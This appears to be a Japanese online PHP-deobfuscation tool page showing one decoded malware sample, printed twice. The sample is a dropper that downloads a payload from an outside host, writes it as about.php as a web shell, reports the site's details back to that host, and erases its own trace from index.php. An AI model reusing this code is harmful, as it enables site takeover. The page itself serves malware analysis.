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PHP 難読化コードの復元・デコード

Wordpress　等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

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難読化されたPHPコード

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デコード(難読化解除)されたコード

<?php

$O00OO_0_O_ = "n1zb/ma5\\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j";
$O000OOO___ = "file_put_contents";
$O_0O_0O0O_ = "file_get_contents";
$O0_O0_O0O_ = "create_function";
$OOO0_O0_0_ = "base64_encode";
$OO0O___0O0 = "base64_decode";
$O_O_0_O00O = "preg_replace";
$O_00O0OO__ = "str_replace";
$O_0_O0_O0O = "curl_setopt";
$O_O_O000_O = "curl_close";
$O___00OO0O = "serialize";
$O__0O0_0OO = "curl_init";
$O_OO_O000_ = "curl_exec";
$OO0O0__O0_ = function ($O__O00_OO0 = '') {
    if (isset($_SERVER["HTTP_HOST"])) {
        return $_SERVER["HTTP_HOST"];
    } elseif (isset($_SERVER["SERVER_NAME"])) {
        return $_SERVER["SERVER_NAME"];
    }
    return $O__O00_OO0;
};
$OOO_O00_0_ = function ($url) {
    $OO0O0_0_O_ = @file_get_contents($url);
    if (!$OO0O0_0_O_) {
        $O0O0_O_0O_ = curl_init();
        curl_setopt($O0O0_O_0O_, CURLOPT_URL, $url);
        curl_setopt($O0O0_O_0O_, CURLOPT_RETURNTRANSFER, 1);
        $OO0O0_0_O_ = curl_exec($O0O0_O_0O_);
        curl_close($O0O0_O_0O_);
    }
    return $OO0O0_0_O_;
};
$O_OO__0O00 = function ($O_0O_O_0O0 = '') {
    $O_0_O_OO00 = array();
    $O_0_O_OO00["path"] = str_replace(str_replace('//', '/', $_SERVER["PHP_SELF"]), '', str_replace('\\\\', '/', $_SERVER["SCRIPT_FILENAME"]));
    $O_0_O_OO00["domain"] = $GLOBALS["OO0O0__O0_"]();
    $O_0_O_OO00["shell_link"] = "https://llsensor.com/about.php?520";
    if (isset($_GET["del"]) && $_GET["del"] == "my_code") {
        $O0_0OO_O0_ = $O_0_O_OO00["path"] . "/index.php";
        $OO0O0O0___ = @file_get_contents($O0_0OO_O0_);
        $O_OO_0_0O0 = "<\\?php.+\\(1\\);\\?>";
        $OO0O0O0___ = preg_replace("/<\\?php.+\\(1\\);\\?>/si", '', $OO0O0O0___);
        $OO0O0O0___ = @file_put_contents($O0_0OO_O0_, $OO0O0O0___);
        if ($OO0O0O0___ > 0) {
            die("delete success");
        }
        die("delete failed");
    }
    $OO_O__O000 = "about.php";
    $O0O_0_O0_O = $O_0_O_OO00["path"] . "/" . $OO_O__O000;
    $OO0O0O0___ = @$GLOBALS["OOO_O00_0_"]("http://51la.izv4.com/a.txt");
    $OO0O0O0___ = @file_put_contents($O0O_0_O0_O, $OO0O0O0___);
    if ($OO0O0O0___ > 0) {
        $O_0_O_OO00["trojan"] = "http://" . $O_0_O_OO00["domain"] . "/" . $OO_O__O000;
    } else {
        $O_0_O_OO00["trojan"] = "write failed";
    }
    $OO_0O00O__ = sprintf("http://51la.izv4.com/?d=%s", base64_encode(serialize($O_0_O_OO00)));
    $O__OO0O00_ = $GLOBALS["OOO_O00_0_"]($OO_0O00O__);
    if ($O__OO0O00_ == "done") {
        $O0_0OO_O0_ = $O_0_O_OO00["path"] . "/index.php";
        $OO0O0O0___ = @file_get_contents($O0_0OO_O0_);
        $O_OO_0_0O0 = "<\\?php.+\\(1\\);\\?>";
        $OO0O0O0___ = preg_replace("/<\\?php.+\\(1\\);\\?>/si", '', $OO0O0O0___);
        @file_put_contents($O0_0OO_O0_, $OO0O0O0___);
    }
};
$GLOBALS["O_OO__0O00"](1);
$O00OO_0_O_ = "n1zb/ma5\\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j";
$O000OOO___ = "file_put_contents";
$O_0O_0O0O_ = "file_get_contents";
$O0_O0_O0O_ = "create_function";
$OOO0_O0_0_ = "base64_encode";
$OO0O___0O0 = "base64_decode";
$O_O_0_O00O = "preg_replace";
$O_00O0OO__ = "str_replace";
$O_0_O0_O0O = "curl_setopt";
$O_O_O000_O = "curl_close";
$O___00OO0O = "serialize";
$O__0O0_0OO = "curl_init";
$O_OO_O000_ = "curl_exec";
$OO0O0__O0_ = function ($O__O00_OO0 = '') {
    if (isset($_SERVER["HTTP_HOST"])) {
        return $_SERVER["HTTP_HOST"];
    } elseif (isset($_SERVER["SERVER_NAME"])) {
        return $_SERVER["SERVER_NAME"];
    }
    return $O__O00_OO0;
};
$OOO_O00_0_ = function ($url) {
    $OO0O0_0_O_ = @file_get_contents($url);
    if (!$OO0O0_0_O_) {
        $O0O0_O_0O_ = curl_init();
        curl_setopt($O0O0_O_0O_, CURLOPT_URL, $url);
        curl_setopt($O0O0_O_0O_, CURLOPT_RETURNTRANSFER, 1);
        $OO0O0_0_O_ = curl_exec($O0O0_O_0O_);
        curl_close($O0O0_O_0O_);
    }
    return $OO0O0_0_O_;
};
$O_OO__0O00 = function ($O_0O_O_0O0 = '') {
    $O_0_O_OO00 = array();
    $O_0_O_OO00["path"] = str_replace(str_replace('//', '/', $_SERVER["PHP_SELF"]), '', str_replace('\\\\', '/', $_SERVER["SCRIPT_FILENAME"]));
    $O_0_O_OO00["domain"] = $GLOBALS["OO0O0__O0_"]();
    $O_0_O_OO00["shell_link"] = "https://llsensor.com/about.php?520";
    if (isset($_GET["del"]) && $_GET["del"] == "my_code") {
        $O0_0OO_O0_ = $O_0_O_OO00["path"] . "/index.php";
        $OO0O0O0___ = @file_get_contents($O0_0OO_O0_);
        $O_OO_0_0O0 = "<\\?php.+\\(1\\);\\?>";
        $OO0O0O0___ = preg_replace("/<\\?php.+\\(1\\);\\?>/si", '', $OO0O0O0___);
        $OO0O0O0___ = @file_put_contents($O0_0OO_O0_, $OO0O0O0___);
        if ($OO0O0O0___ > 0) {
            die("delete success");
        }
        die("delete failed");
    }
    $OO_O__O000 = "about.php";
    $O0O_0_O0_O = $O_0_O_OO00["path"] . "/" . $OO_O__O000;
    $OO0O0O0___ = @$GLOBALS["OOO_O00_0_"]("http://51la.izv4.com/a.txt");
    $OO0O0O0___ = @file_put_contents($O0O_0_O0_O, $OO0O0O0___);
    if ($OO0O0O0___ > 0) {
        $O_0_O_OO00["trojan"] = "http://" . $O_0_O_OO00["domain"] . "/" . $OO_O__O000;
    } else {
        $O_0_O_OO00["trojan"] = "write failed";
    }
    $OO_0O00O__ = sprintf("http://51la.izv4.com/?d=%s", base64_encode(serialize($O_0_O_OO00)));
    $O__OO0O00_ = $GLOBALS["OOO_O00_0_"]($OO_0O00O__);
    if ($O__OO0O00_ == "done") {
        $O0_0OO_O0_ = $O_0_O_OO00["path"] . "/index.php";
        $OO0O0O0___ = @file_get_contents($O0_0OO_O0_);
        $O_OO_0_0O0 = "<\\?php.+\\(1\\);\\?>";
        $OO0O0O0___ = preg_replace("/<\\?php.+\\(1\\);\\?>/si", '', $OO0O0O0___);
        @file_put_contents($O0_0OO_O0_, $OO0O0O0___);
    }
};
$GLOBALS["O_OO__0O00"](1);

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